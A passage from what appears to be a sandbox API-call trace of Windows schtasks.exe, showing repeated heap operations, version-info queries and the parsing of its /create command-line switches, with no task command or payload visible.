MemoryPointer=0x2781b7cb6b0) returned 0x20 [0135.172] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cb6b0) returned 1 [0135.172] GetProcessHeap () returned 0x2781b7c0000 [0135.172] GetProcessHeap () returned 0x2781b7c0000 [0135.172] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c3b60) returned 1 [0135.172] GetProcessHeap () returned 0x2781b7c0000 [0135.172] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c3b60) returned 0x8 [0135.172] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7c3b60) returned 1 [0135.172] GetProcessHeap () returned 0x2781b7c0000 [0135.172] GetProcessHeap () returned 0x2781b7c0000 [0135.172] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb5f0) returned 1 [0135.172] GetProcessHeap () returned 0x2781b7c0000 [0135.172] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb5f0) returned 0x20 [0135.173] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cb5f0) returned 1 [0135.173] GetProcessHeap () returned 0x2781b7c0000 [0135.173] GetProcessHeap () returned 0x2781b7c0000 [0135.173] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c3b80) returned 1 [0135.173] GetProcessHeap () returned 0x2781b7c0000 [0135.173] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c3b80) returned 0xe [0135.173] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7c3b80) returned 1 [0135.173] GetProcessHeap () returned 0x2781b7c0000 [0135.173] GetProcessHeap () returned 0x2781b7c0000 [0135.173] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb950) returned 1 [0135.173] GetProcessHeap () returned 0x2781b7c0000 [0135.173] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb950) returned 0x20 [0135.174] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cb950) returned 1 [0135.174] GetProcessHeap () returned 0x2781b7c0000 [0135.174] GetProcessHeap () returned 0x2781b7c0000 [0135.174] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c3ba0) returned 1 [0135.174] GetProcessHeap () returned 0x2781b7c0000 [0135.174] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c3ba0) returned 0x8 [0135.174] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7c3ba0) returned 1 [0135.174] GetProcessHeap () returned 0x2781b7c0000 [0135.174] GetProcessHeap () returned 0x2781b7c0000 [0135.174] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb530) returned 1 [0135.174] GetProcessHeap () returned 0x2781b7c0000 [0135.174] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb530) returned 0x20 [0135.175] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cb530) returned 1 [0135.175] GetProcessHeap () returned 0x2781b7c0000 [0135.175] GetProcessHeap () returned 0x2781b7c0000 [0135.175] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c3bc0) returned 1 [0135.175] GetProcessHeap () returned 0x2781b7c0000 [0135.175] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c3bc0) returned 0x4 [0135.175] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7c3bc0) returned 1 [0135.175] GetProcessHeap () returned 0x2781b7c0000 [0135.175] GetProcessHeap () returned 0x2781b7c0000 [0135.175] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb860) returned 1 [0135.175] GetProcessHeap () returned 0x2781b7c0000 [0135.175] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb860) returned 0x20 [0135.175] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cb860) returned 1 [0135.175] GetProcessHeap () returned 0x2781b7c0000 [0135.175] GetProcessHeap () returned 0x2781b7c0000 [0135.175] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c3be0) returned 1 [0135.175] GetProcessHeap () returned 0x2781b7c0000 [0135.175] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c3be0) returned 0x8 [0135.175] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7c3be0) returned 1 [0135.175] GetProcessHeap () returned 0x2781b7c0000 [0135.175] GetProcessHeap () returned 0x2781b7c0000 [0135.176] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb7a0) returned 1 [0135.176] GetProcessHeap () returned 0x2781b7c0000 [0135.176] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb7a0) returned 0x20 [0135.176] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cb7a0) returned 1 [0135.176] GetProcessHeap () returned 0x2781b7c0000 [0135.176] GetProcessHeap () returned 0x2781b7c0000 [0135.176] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cc6a0) returned 1 [0135.176] GetProcessHeap () returned 0x2781b7c0000 [0135.176] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cc6a0) returned 0x56 [0135.177] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cc6a0) returned 1 [0135.177] GetProcessHeap () returned 0x2781b7c0000 [0135.177] GetProcessHeap () returned 0x2781b7c0000 [0135.177] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb4a0) returned 1 [0135.177] GetProcessHeap () returned 0x2781b7c0000 [0135.177] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb4a0) returned 0x20 [0135.177] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cb4a0) returned 1 [0135.177] GetProcessHeap () returned 0x2781b7c0000 [0135.177] GetProcessHeap () returned 0x2781b7c0000 [0135.177] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c3ca0) returned 1 [0135.177] GetProcessHeap () returned 0x2781b7c0000 [0135.177] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c3ca0) returned 0x8 [0135.177] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7c3ca0) returned 1 [0135.177] GetProcessHeap () returned 0x2781b7c0000 [0135.177] GetProcessHeap () returned 0x2781b7c0000 [0135.177] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb770) returned 1 [0135.177] GetProcessHeap () returned 0x2781b7c0000 [0135.177] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb770) returned 0x20 [0135.178] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cb770) returned 1 [0135.178] GetProcessHeap () returned 0x2781b7c0000 [0135.178] GetProcessHeap () returned 0x2781b7c0000 [0135.178] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7ca910) returned 1 [0135.178] GetProcessHeap () returned 0x2781b7c0000 [0135.178] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7ca910) returned 0x10 [0135.178] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7ca910) returned 1 [0135.178] GetProcessHeap () returned 0x2781b7c0000 [0135.178] GetProcessHeap () returned 0x2781b7c0000 [0135.178] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb800) returned 1 [0135.178] GetProcessHeap () returned 0x2781b7c0000 [0135.178] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb800) returned 0x20 [0135.178] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cb800) returned 1 [0135.178] GetProcessHeap () returned 0x2781b7c0000 [0135.178] GetProcessHeap () returned 0x2781b7c0000 [0135.178] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7ccce0) returned 1 [0135.178] GetProcessHeap () returned 0x2781b7c0000 [0135.178] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7ccce0) returned 0x6 [0135.178] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7ccce0) returned 1 [0135.178] GetProcessHeap () returned 0x2781b7c0000 [0135.178] GetProcessHeap () returned 0x2781b7c0000 [0135.178] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb410) returned 1 [0135.179] GetProcessHeap () returned 0x2781b7c0000 [0135.179] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb410) returned 0x20 [0135.179] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cb410) returned 1 [0135.179] GetProcessHeap () returned 0x2781b7c0000 [0135.179] GetProcessHeap () returned 0x2781b7c0000 [0135.179] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c44a0) returned 1 [0135.179] GetProcessHeap () returned 0x2781b7c0000 [0135.179] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c44a0) returned 0x18 [0135.179] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7c44a0) returned 1 [0135.179] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.179] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0135.179] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0135.179] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0135.179] RtlVerifyVersionInfo (VersionInfo=0x9d899cc660, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0135.180] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.180] lstrlenW (lpString="create") returned 6 [0135.180] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0135.180] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.180] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.180] lstrlenW (lpString="create") returned 6 [0135.180] GetProcessHeap () returned 0x2781b7c0000 [0135.180] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb740 [0135.180] GetProcessHeap () returned 0x2781b7c0000 [0135.180] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7cab50 [0135.180] _memicmp (_Buf1=0x2781b7cab50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.180] GetProcessHeap () returned 0x2781b7c0000 [0135.180] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x16) returned 0x2781b7caa90 [0135.180] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.180] _memicmp (_Buf1=0x2781b7c46f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.180] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2781b7c9a80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0135.180] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x9d899cc7b8 | out: lpdwHandle=0x9d899cc7b8) returned 0x76c [0135.181] GetProcessHeap () returned 0x2781b7c0000 [0135.181] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x776) returned 0x2781b7ccce0 [0135.181] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2781b7ccce0 | out: lpData=0x2781b7ccce0) returned 1 [0135.181] VerQueryValueW (in: pBlock=0x2781b7ccce0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x9d899cc750, puLen=0x9d899cc7b0 | out: lplpBuffer=0x9d899cc750*=0x2781b7cd090, puLen=0x9d899cc7b0) returned 1 [0135.181] _memicmp (_Buf1=0x2781b7c46f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.181] _vsnwprintf (in: _Buffer=0x2781b7c9a80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x9d899cc728 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0135.181] VerQueryValueW (in: pBlock=0x2781b7ccce0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x9d899cc740, puLen=0x9d899cc7a8 | out: lplpBuffer=0x9d899cc740*=0x2781b7ccec0, puLen=0x9d899cc7a8) returned 1 [0135.181] lstrlenW (lpString="schtasks.exe") returned 12 [0135.181] lstrlenW (lpString="schtasks.exe") returned 12 [0135.242] lstrlenW (lpString=".EXE") returned 4 [0135.242] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0135.242] lstrlenW (lpString="schtasks.exe") returned 12 [0135.242] lstrlenW (lpString=".EXE") returned 4 [0135.242] lstrlenW (lpString="schtasks") returned 8 [0135.242] lstrlenW (lpString="/create") returned 7 [0135.242] _memicmp (_Buf1=0x2781b7c46f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.242] _vsnwprintf (in: _Buffer=0x2781b7c9a80, _BufferCount=0x19, _Format="%s %s", _ArgList=0x9d899cc728 | out: _Buffer="schtasks /create") returned 16 [0135.242] _memicmp (_Buf1=0x2781b7c3890, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.242] GetProcessHeap () returned 0x2781b7c0000 [0135.242] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb680 [0135.242] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.242] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0135.242] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0135.242] GetProcessHeap () returned 0x2781b7c0000 [0135.242] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x30) returned 0x2781b7c3b60 [0135.242] _vsnwprintf (in: _Buffer=0x2781b7c38b0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x9d899cc728 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0135.242] GetProcessHeap () returned 0x2781b7c0000 [0135.243] GetProcessHeap () returned 0x2781b7c0000 [0135.243] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7ccce0) returned 1 [0135.243] GetProcessHeap () returned 0x2781b7c0000 [0135.243] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7ccce0) returned 0x776 [0135.243] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7ccce0) returned 1 [0135.243] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.243] GetThreadLocale () returned 0x409 [0135.243] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.243] lstrlenW (lpString="create") returned 6 [0135.243] GetThreadLocale () returned 0x409 [0135.243] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.243] lstrlenW (lpString="?") returned 1 [0135.243] GetThreadLocale () returned 0x409 [0135.243] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.243] lstrlenW (lpString="s") returned 1 [0135.243] GetThreadLocale () returned 0x409 [0135.243] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.244] lstrlenW (lpString="u") returned 1 [0135.244] GetThreadLocale () returned 0x409 [0135.244] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.244] lstrlenW (lpString="p") returned 1 [0135.244] GetThreadLocale () returned 0x409 [0135.244] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.244] lstrlenW (lpString="ru") returned 2 [0135.244] GetThreadLocale () returned 0x409 [0135.244] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.244] lstrlenW (lpString="rp") returned 2 [0135.244] GetThreadLocale () returned 0x409 [0135.244] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.244] lstrlenW (lpString="sc") returned 2 [0135.244] GetThreadLocale () returned 0x409 [0135.244] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.244] lstrlenW (lpString="mo") returned 2 [0135.244] GetThreadLocale () returned 0x409 [0135.244] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.244] lstrlenW (lpString="d") returned 1 [0135.244] GetThreadLocale () returned 0x409 [0135.245] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.245] lstrlenW (lpString="m") returned 1 [0135.245] GetThreadLocale () returned 0x409 [0135.245] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.245] lstrlenW (lpString="i") returned 1 [0135.245] GetThreadLocale () returned 0x409 [0135.245] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.245] lstrlenW (lpString="tn") returned 2 [0135.245] GetThreadLocale () returned 0x409 [0135.245] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.245] lstrlenW (lpString="tr") returned 2 [0135.245] GetThreadLocale () returned 0x409 [0135.245] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.245] lstrlenW (lpString="st") returned 2 [0135.245] GetThreadLocale () returned 0x409 [0135.245] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.245] lstrlenW (lpString="sd") returned 2 [0135.245] GetThreadLocale () returned 0x409 [0135.245] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.245] lstrlenW (lpString="ed") returned 2 [0135.245] GetThreadLocale () returned 0x409 [0135.245] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.245] lstrlenW (lpString="it") returned 2 [0135.245] GetThreadLocale () returned 0x409 [0135.245] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.245] lstrlenW (lpString="et") returned 2 [0135.245] GetThreadLocale () returned 0x409 [0135.245] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.245] lstrlenW (lpString="k") returned 1 [0135.245] GetThreadLocale () returned 0x409 [0135.245] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.245] lstrlenW (lpString="du") returned 2 [0135.245] GetThreadLocale () returned 0x409 [0135.245] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.245] lstrlenW (lpString="ri") returned 2 [0135.246] GetThreadLocale () returned 0x409 [0135.246] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.246] lstrlenW (lpString="z") returned 1 [0135.246] GetThreadLocale () returned 0x409 [0135.246] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.246] lstrlenW (lpString="f") returned 1 [0135.246] GetThreadLocale () returned 0x409 [0135.246] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.246] lstrlenW (lpString="v1") returned 2 [0135.246] GetThreadLocale () returned 0x409 [0135.246] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.246] lstrlenW (lpString="xml") returned 3 [0135.246] GetThreadLocale () returned 0x409 [0135.246] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.246] lstrlenW (lpString="ec") returned 2 [0135.246] GetThreadLocale () returned 0x409 [0135.246] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.246] lstrlenW (lpString="rl") returned 2 [0135.246] GetThreadLocale () returned 0x409 [0135.246] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.246] lstrlenW (lpString="delay") returned 5 [0135.246] GetThreadLocale () returned 0x409 [0135.246] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.246] lstrlenW (lpString="np") returned 2 [0135.246] GetThreadLocale () returned 0x409 [0135.246] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.246] lstrlenW (lpString="hresult") returned 7 [0135.246] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.246] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.246] lstrlenW (lpString="/create") returned 7 [0135.246] lstrlenW (lpString="-/") returned 2 [0135.246] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.246] lstrlenW (lpString="create") returned 6 [0135.246] lstrlenW (lpString="create") returned 6 [0135.247] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.247] lstrlenW (lpString="create") returned 6 [0135.247] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.247] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|create|") returned 8 [0135.247] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|create|") returned 8 [0135.247] lstrlenW (lpString="|create|") returned 8 [0135.247] lstrlenW (lpString="|create|") returned 8 [0135.247] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0135.247] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.247] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.247] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.247] lstrlenW (lpString="/tn") returned 3 [0135.247] lstrlenW (lpString="-/") returned 2 [0135.247] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.247] lstrlenW (lpString="create") returned 6 [0135.247] lstrlenW (lpString="create") returned 6 [0135.247] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.247] lstrlenW (lpString="tn") returned 2 [0135.247] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.247] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|create|") returned 8 [0135.247] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.247] lstrlenW (lpString="|create|") returned 8 [0135.247] lstrlenW (lpString="|tn|") returned 4 [0135.247] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0135.247] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.247] lstrlenW (lpString="?") returned 1 [0135.247] lstrlenW (lpString="?") returned 1 [0135.247] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.247] lstrlenW (lpString="tn") returned 2 [0135.247] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.248] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|?|") returned 3 [0135.248] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.248] lstrlenW (lpString="|?|") returned 3 [0135.248] lstrlenW (lpString="|tn|") returned 4 [0135.248] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.248] lstrlenW (lpString="s") returned 1 [0135.248] lstrlenW (lpString="s") returned 1 [0135.248] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.248] lstrlenW (lpString="tn") returned 2 [0135.248] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.248] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|s|") returned 3 [0135.248] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.248] lstrlenW (lpString="|s|") returned 3 [0135.248] lstrlenW (lpString="|tn|") returned 4 [0135.248] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.248] lstrlenW (lpString="u") returned 1 [0135.248] lstrlenW (lpString="u") returned 1 [0135.248] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.248] lstrlenW (lpString="tn") returned 2 [0135.248] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.248] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|u|") returned 3 [0135.248] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.248] lstrlenW (lpString="|u|") returned 3 [0135.248] lstrlenW (lpString="|tn|") returned 4 [0135.248] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.248] lstrlenW (lpString="p") returned 1 [0135.248] lstrlenW (lpString="p") returned 1 [0135.248] _memicmp (_Buf1=0x2781b7c42f0, 